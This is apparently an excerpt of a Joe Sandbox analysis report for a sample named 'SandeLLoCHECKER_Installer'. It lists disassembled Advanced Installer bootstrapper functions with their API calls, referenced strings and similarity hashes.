Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000,?), ref: 0097C0F4
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,?,00000000,00000000), ref: 0097C128

Part of subcall function 0084A190: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A1B3

Strings

Software\Caphyon\Advanced Installer\, xrefs: 0097CD60
Languages of setup:, xrefs: 0097D9EB
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\, xrefs: 0097CD74
Language of a related product is:, xrefs: 0097CDDC
%hu, xrefs: 0097CC08
A valid language was received from commnad line. This is:, xrefs: 0097CBDA
AI_BOOTSTRAPPERLANGS, xrefs: 0097D790, 0097D7A2, 0097D7AC
Code returned to Windows by setup:, xrefs: 0097C9E1
Language used for UI:, xrefs: 0097CF0E
Advinst_Extract_, xrefs: 0097C08B, 0097C0A0, 0097C0AA
Language selected programatically for UI:, xrefs: 0097CE92

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: ByteCharInit_thread_footerMultiWide$FindHeapProcessResource
String ID: %hu$A valid language was received from commnad line. This is:$AI_BOOTSTRAPPERLANGS$Advinst_Extract_$Code returned to Windows by setup:$Language of a related product is:$Language selected programatically for UI:$Language used for UI:$Languages of setup:$SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\$Software\Caphyon\Advanced Installer\
API String ID: 1419962739-297406034
Opcode ID: 0fa5a46db5e8ea573baac4ccf707f754f5f5db78c15cbf0d0024275617cd59a9
Instruction ID: a87792438135438e3194eaa42f0efd1e0281d7dad50d912c6e5345b9f4c8e779
Opcode Fuzzy Hash: 0fa5a46db5e8ea573baac4ccf707f754f5f5db78c15cbf0d0024275617cd59a9
Instruction Fuzzy Hash: AC52D471A006099FDB14DB68CC55BEEB7B9FF45314F14816CE819EB292EB349E04CB91

Function 0098AB20 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 179
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetActiveWindow.USER32 ref: 0098AB5A
SetLastError.KERNEL32(0000000E,?,?,?,?,?,?), ref: 0098AB97
GetCurrentThreadId.KERNEL32 ref: 0098AC22
SetWindowTextW.USER32(?,00000000), ref: 0098ACAC
GetDlgItem.USER32(?,000003E9), ref: 0098ACB6
SetWindowTextW.USER32(00000000,?), ref: 0098ACC2
GetDlgItem.USER32(?,00000002), ref: 0098AD2F
SetWindowTextW.USER32(00000000,?), ref: 0098AD37

Part of subcall function 009822E0: GetDlgItem.USER32(?,00000002), ref: 00982300
Part of subcall function 009822E0: GetWindowRect.USER32(00000000,?), ref: 00982316
Part of subcall function 009822E0: ShowWindow.USER32(00000000,00000000,?,?,?,?,?,?,?,0098AB7A,?,?,?,?,?,?), ref: 0098232F
Part of subcall function 009822E0: InvalidateRect.USER32(00000000,00000000,00000001,?,?,?,?,?,?,?,0098AB7A,?,?), ref: 0098233A
Part of subcall function 009822E0: GetDlgItem.USER32(00000000,000003E9), ref: 0098234C
Part of subcall function 009822E0: GetWindowRect.USER32(00000000,?), ref: 00982362
Part of subcall function 009822E0: SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000206,?,?,?,?,?,?,?,0098AB7A), ref: 009823A5

Strings

v, xrefs: 0098ABFD

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Window$Item$RectText$ActiveCurrentErrorInvalidateLastShowThread
String ID: v
API String ID: 127311041-3261393531
Opcode ID: 70a37ea31eeac06dbc327b2d056c3dadbc4757cc8e8f3f1419af617a97f46b16
Instruction ID: 2931796662f5b478d69264f5d22bd7ca9e4b2e72bdde2d479e5148469d15d400
Opcode Fuzzy Hash: 70a37ea31eeac06dbc327b2d056c3dadbc4757cc8e8f3f1419af617a97f46b16
Instruction Fuzzy Hash: 0361B331500604EFDB21EF68CD48B5ABBB5FF04320F14866AE8659B3E1DB75A905CF92

Function 009964A0 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 507
networksynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00998500: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,009964DA,?,C7BA013E,?,?,?,?,00A89C55,000000FF), ref: 0099850D
Part of subcall function 00998500: CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,009964DA,?,C7BA013E,?,?,?,?,00A89C55,000000FF,?), ref: 0099852E
Part of subcall function 00998500: InternetOpenW.WININET(AdvancedInstaller,00000003,00000000,00000000,10000000), ref: 0099857B
Part of subcall function 00998500: GetLastError.KERNEL32(?,C7BA013E,?,?,?,?,00A89C55,000000FF,?,00995E0D,?,?,00000000,?,?), ref: 0099858E

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

ResetEvent.KERNEL32(?,00000000,00A89A25), ref: 009965AA
InternetCloseHandle.WININET(00000001), ref: 009965B1
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 009965C9
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 009965D0
InternetSetStatusCallbackW.WININET(?,00000000), ref: 009965F1
InternetCloseHandle.WININET(?), ref: 009965FA
InternetSetStatusCallbackW.WININET(00000000,00000000), ref: 0099663D
InternetCloseHandle.WININET(00000000), ref: 00996640

Part of subcall function 0084A190: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A1B3

Strings

filename, xrefs: 00996921
GET, xrefs: 0099652A
attachment, xrefs: 009967DD

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Internet$CloseEventHandle$CallbackCreateInit_thread_footerObjectSingleStatusWait$ErrorFindHeapLastOpenProcessResetResource
String ID: GET$attachment$filename
API String ID: 789550500-3911147371
Opcode ID: 80a2c248155f266c3cbc411c98730e32ce25b5c3a25fc09ea515be336757396d
Instruction ID: 184317f80ff21a3030cf86fd87212f45d99054c6157311fe5289514f2707bd78
Opcode Fuzzy Hash: 80a2c248155f266c3cbc411c98730e32ce25b5c3a25fc09ea515be336757396d
Instruction Fuzzy Hash: 37127A70901249DFDF10DFACC948BAEBBF8FF15314F148169E815AB291EB759A04CBA1

Function 00995D50 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 319
synchronizationnetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

DeleteFileW.KERNEL32(?,?,?,?,00000000,?,?,?,?), ref: 0099605A

Part of subcall function 0084A190: FindResourceW.KERNEL32(00000000,?,00000006,00000000,00000000,00000000,0084A308,-00000010,?,00000000), ref: 0084A1B3

Part of subcall function 0084A8A0: RtlAllocateHeap.NTDLL(?,00000000,?,C7BA013E,00000000,00A3DE90,000000FF,?,?,00B277EC,?,009A5D66,8000000B,C7BA013E), ref: 0084A8EA

ResetEvent.KERNEL32(00000000,C7BA013E,?,?,00000000,00A89AFD,000000FF,?,80004005), ref: 009960EF
InternetCloseHandle.WININET(00000000), ref: 009960FD
WaitForSingleObject.KERNEL32(?,000000FF,?,?,00000000,00A89AFD,000000FF,?,80004005), ref: 0099610F
WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,00000000,00A89AFD,000000FF,?,80004005), ref: 0099611A
InternetCloseHandle.WININET(00000000), ref: 00996135

Strings

tin9999.tmp, xrefs: 00995EA9
TEST, xrefs: 00995EA2

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CloseHandleHeapInit_thread_footerInternetObjectSingleWait$AllocateDeleteEventFileFindProcessResetResource
String ID: TEST$tin9999.tmp
API String ID: 2171520157-3424081289
Opcode ID: a779d1e4675b0b9f8132cc857b094c99d5e9a17eded58ceeec3508ef8d89c79a
Instruction ID: b5c2956fb83d649b3c33a7c3a33de7f14b7ea88e2484af0ec8eb6b76fa7ec095
Opcode Fuzzy Hash: a779d1e4675b0b9f8132cc857b094c99d5e9a17eded58ceeec3508ef8d89c79a
Instruction Fuzzy Hash: 3CC1D171900649DFDF14DB68CD48BAEB7B8FF04324F148269E816AB291DB749E04CB91

Function 00A156D5 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DecodePointer.KERNEL32(?,00000000,?,00A15A74,00B2FDFC,?,00000000,?,0098ABAC,?,00000000,00000000,?,?), ref: 00A156E7
LoadLibraryExA.KERNEL32(atlthunk.dll,00000000,00000800,?,00000000,?,00A15A74,00B2FDFC,?,00000000,?,0098ABAC,?,00000000,00000000), ref: 00A156FC
DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00A15778

Strings

AtlThunk_InitData, xrefs: 00A15724
AtlThunk_AllocateData, xrefs: 00A1570D
AtlThunk_DataToCode, xrefs: 00A1573B
AtlThunk_FreeData, xrefs: 00A15752
atlthunk.dll, xrefs: 00A156F7

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: DecodePointer$LibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 1423960858-1745123996
Opcode ID: e449b32ec8d543036db7ab5e4fb51d24b24d24af8205ea9637d4965f962bc798
Instruction ID: 2ffe1d359ea98e6afb99db25be1cfd0d67148311c5dd1194c0bbaf1fad44c5fc
Opcode Fuzzy Hash: e449b32ec8d543036db7ab5e4fb51d24b24d24af8205ea9637d4965f962bc798
Instruction Fuzzy Hash: CD01D631A40721FFCA16AB70AD43FD937A49F42749F140974FC45B72E2EBA19A89C1C5

Function 0096AA80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 290
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00965B10: __Init_thread_footer.LIBCMT ref: 00965BE2

SHGetFolderPathW.SHELL32(00000000,00000024,00000000,00000000,?,C7BA013E,00000000,00000000,?), ref: 0096AADB
GetTempFileNameW.KERNEL32(00000000,shim_clone,00000000,?,?,?,00000000,00000000), ref: 0096AC6D
Wow64DisableWow64FsRedirection.KERNEL32(?,?,?,?,00000000,00000000), ref: 0096AD07
CopyFileW.KERNEL32(?,?,00000000,?,?,?,00000000,00000000), ref: 0096AD29
Wow64RevertWow64FsRedirection.KERNEL32(?), ref: 0096AD55
DeleteFileW.KERNEL32(?,C7BA013E,00000000,00000000,00A3DEE0,000000FF,?,80070057,80004005,?), ref: 0096AE0D

Strings

shim_clone, xrefs: 0096AC67

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Wow64$File$Redirection$CopyDeleteDisableFolderInit_thread_footerNamePathRevertTemp
String ID: shim_clone
API String ID: 896069032-3944563459
Opcode ID: d225fab5a9e989c5c7689118e53c30747d522c26867137b1cdbfde80363f3f40
Instruction ID: 6ccbce02f36d919d584d9bb73e2b3f576eb3f7c20f1d2e7f8b8befe7967b2eb4
Opcode Fuzzy Hash: d225fab5a9e989c5c7689118e53c30747d522c26867137b1cdbfde80363f3f40
Instruction Fuzzy Hash: 81A11570A00658DFDB29DB24CC55BAAB7B9FF44300F5440ADE90AE7292DB349E44CF56

Function 00947F20 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 253
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00947F20: GetModuleFileNameW.KERNEL32(00000000,?,00000104,C7BA013E,00000000,?,00A7B216,000000FF), ref: 00947E68

Part of subcall function 0084ABE0: GetProcessHeap.KERNEL32 ref: 0084AC35
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084AC67
Part of subcall function 0084ABE0: __Init_thread_footer.LIBCMT ref: 0084ACF2

FreeLibrary.KERNEL32(00000001,C7BA013E,?,00000001,?,?,?), ref: 009480B7
EnterCriticalSection.KERNEL32(00B314EC), ref: 009480D2
DestroyWindow.USER32(00000000), ref: 009480F0
LeaveCriticalSection.KERNEL32(00B314EC), ref: 00948139

Strings

.local, xrefs: 00947ED4
%s%lu, xrefs: 00947F9D
v, xrefs: 00948139

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CriticalInit_thread_footerSection$DestroyEnterFileFreeHeapLeaveLibraryModuleNameProcessWindow
String ID: v$%s%lu$.local
API String ID: 3496055493-1141559199
Opcode ID: aa14e630b5643752316bc2333a95dc684ac6d75d689ac0eee378daaeed288670
Instruction ID: bd6e639ada706dc98219bac6ce3d8aa3ce242048965ae11a136d8d5d64ee7e5b
Opcode Fuzzy Hash: aa14e630b5643752316bc2333a95dc684ac6d75d689ac0eee378daaeed288670
Instruction Fuzzy Hash: 8191CC71A01205DFDB20DF68C844BAFBBF8FF44314F14856AE815AB391DB749804CB91

Function 0084F120 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 139
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CoIncrementMTAUsage, xrefs: 0084EDFD
.dll, xrefs: 0084EF14
Windows.Foundation.Uri, xrefs: 0084F1EA
combase.dll, xrefs: 0084EDC9, 0084EE02
DllGetActivationFactory, xrefs: 0084EF70
RoGetActivationFactory, xrefs: 0084EDC4

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID:
String ID: .dll$CoIncrementMTAUsage$DllGetActivationFactory$RoGetActivationFactory$Windows.Foundation.Uri$combase.dll
API String ID: 0-3956872289
Opcode ID: b596cd22f14d968a4134b99b76456c22b181182cafc213723b8d5de89ed1b408
Instruction ID: ce3de949a4abf5c5da06deda69d565500c3715a417d504449ed141f6205c505a
Opcode Fuzzy Hash: b596cd22f14d968a4134b99b76456c22b181182cafc213723b8d5de89ed1b408
Instruction Fuzzy Hash: D1517971D0021DEFDB00DFA8C945BAEBBB4FF08718F204569E915AB391DBB56A04CB91

Function 00988F10 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 238
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000,?,?,?,?,?,00000000,?,?,C7BA013E), ref: 009890D6
SetFilePointer.KERNEL32(?,7FFFFFFF,00000000,00000000,?), ref: 00989135
SetEndOfFile.KERNEL32(?), ref: 0098913E
CloseHandle.KERNEL32(?), ref: 00989157

Strings

Not enough disk space to extract file:, xrefs: 00988FDA
%sholder%d.aiph, xrefs: 009890B2

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: File$CloseCreateHandlePointer
String ID: %sholder%d.aiph$Not enough disk space to extract file:
API String ID: 22866420-929304071
Opcode ID: 138869a08d704254e3cae4dcb9edfbc4f82a065322206ab023fb02a6bd29091a
Instruction ID: c52c8c66b9e38bc5be5d26766ee5c1c446d3871c5b6db2aba4b2364cdc880858
Opcode Fuzzy Hash: 138869a08d704254e3cae4dcb9edfbc4f82a065322206ab023fb02a6bd29091a
Instruction Fuzzy Hash: C0819175A042099FDB10EF68CC49BAEB7B9FF49324F184629F915E7391DB719900CB90

Function 009A4780 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00A8CA8D,-00000400,?,00000002,00000400,C7BA013E,?,?,?), ref: 009A4826
GetLastError.KERNEL32(?,?), ref: 009A4834
ReadFile.KERNEL32(00A8CA8D,00000000,00000400,?,00000000,?,?), ref: 009A484F

Strings

ADVINSTSFX, xrefs: 009A4883, 009A493E

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: File$ErrorLastPointerRead
String ID: ADVINSTSFX
API String ID: 64821003-4038163286
Opcode ID: 899610e73e42f787d2ab07c3a15d0bcb142b07a75c60fd8e375b197791371521
Instruction ID: 8612dba6167097e569c2a27a7744bdf2c688856f69114a83cfc8f9df19c17483
Opcode Fuzzy Hash: 899610e73e42f787d2ab07c3a15d0bcb142b07a75c60fd8e375b197791371521
Instruction Fuzzy Hash: 3461B371A002499FDB00CFA8D880BBFBBB9FB86724F244665E515A7281D7789D45CBE0

Function 009822E0 Relevance: 10.6, APIs: 7, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000002), ref: 00982300
GetWindowRect.USER32(00000000,?), ref: 00982316
ShowWindow.USER32(00000000,00000000,?,?,?,?,?,?,?,0098AB7A,?,?,?,?,?,?), ref: 0098232F
InvalidateRect.USER32(00000000,00000000,00000001,?,?,?,?,?,?,?,0098AB7A,?,?), ref: 0098233A
GetDlgItem.USER32(00000000,000003E9), ref: 0098234C
GetWindowRect.USER32(00000000,?), ref: 00982362
SetWindowPos.USER32(00000000,00000000,?,?,?,?,00000206,?,?,?,?,?,?,?,0098AB7A), ref: 009823A5

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: Window$Rect$Item$InvalidateShow
String ID:
API String ID: 2147159307-0
Opcode ID: 5cfe8a79f7f060859f91e3f5c3dd462e6b4bd9bda7f882994b5240f7efa98b51
Instruction ID: 1300c9deac49a6b0ba6810807c171586be17cf4a906cbda263a7e09d6cb78f52
Opcode Fuzzy Hash: 5cfe8a79f7f060859f91e3f5c3dd462e6b4bd9bda7f882994b5240f7efa98b51
Instruction Fuzzy Hash: 6F216B71604301AFD310DF38DC49A6B7BE9EF8D704F008629F859D7291EB70E9428B92

Function 00998500 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62networkCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,?,009964DA,?,C7BA013E,?,?,?,?,00A89C55,000000FF), ref: 0099850D
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,009964DA,?,C7BA013E,?,?,?,?,00A89C55,000000FF,?), ref: 0099852E
InternetOpenW.WININET(AdvancedInstaller,00000003,00000000,00000000,10000000), ref: 0099857B
GetLastError.KERNEL32(?,C7BA013E,?,?,?,?,00A89C55,000000FF,?,00995E0D,?,?,00000000,?,?), ref: 0099858E
InternetSetStatusCallbackW.WININET(00000000,009985B0), ref: 0099859D

Strings

AdvancedInstaller, xrefs: 00998576

Memory Dump Source

Source File: 00000003.00000002.2894907432.0000000000841000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00840000, based on PE: true

Associated: 00000003.00000002.2894858257.0000000000840000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895305129.0000000000A9F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895445176.0000000000B2C000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895464968.0000000000B2E000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895505328.0000000000B2F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000003.00000002.2895568132.0000000000B3A000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_840000_SandeLLoCHECKER_Installer.jbxd

Similarity

API ID: CreateEventInternet$CallbackErrorLastOpenStatus
String ID: AdvancedInstaller
API String ID: 2592705480-1372594473
Opcode ID: 36b491934217a997c4d2a1b6f2ba34f3b14e037a09b857c788b0bfee9fc70d84
Instruction ID: efc5ef67a9e45b6d8395208c159ebd8f75764ba360e9745db79ef893ffd59720
Opcode Fuzzy Hash: 36b491934217a997c4d2a1b6f2ba34f3b14e037a09b857c788b0bfee9fc70d84
Instruction Fuzzy Hash: BC114971340602BFEB20CB39CC8AF26BBA8FB84705F214429F505DB290DB71E856CB91

Function 009A59C0 Relevance: 9.3, APIs: 6, Instructions: 308synchronizationthreadCOMMON

Download Yara Rule

APIs

CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,C7BA013E,?,00000000,?,?,?,?,?,?,00000000,00A8CE1D,000000FF), ref: 009A5A00
CreateThread.KERNEL32(00000000,00000000,009A5D70,?,00000000,?), ref: 009A5A36
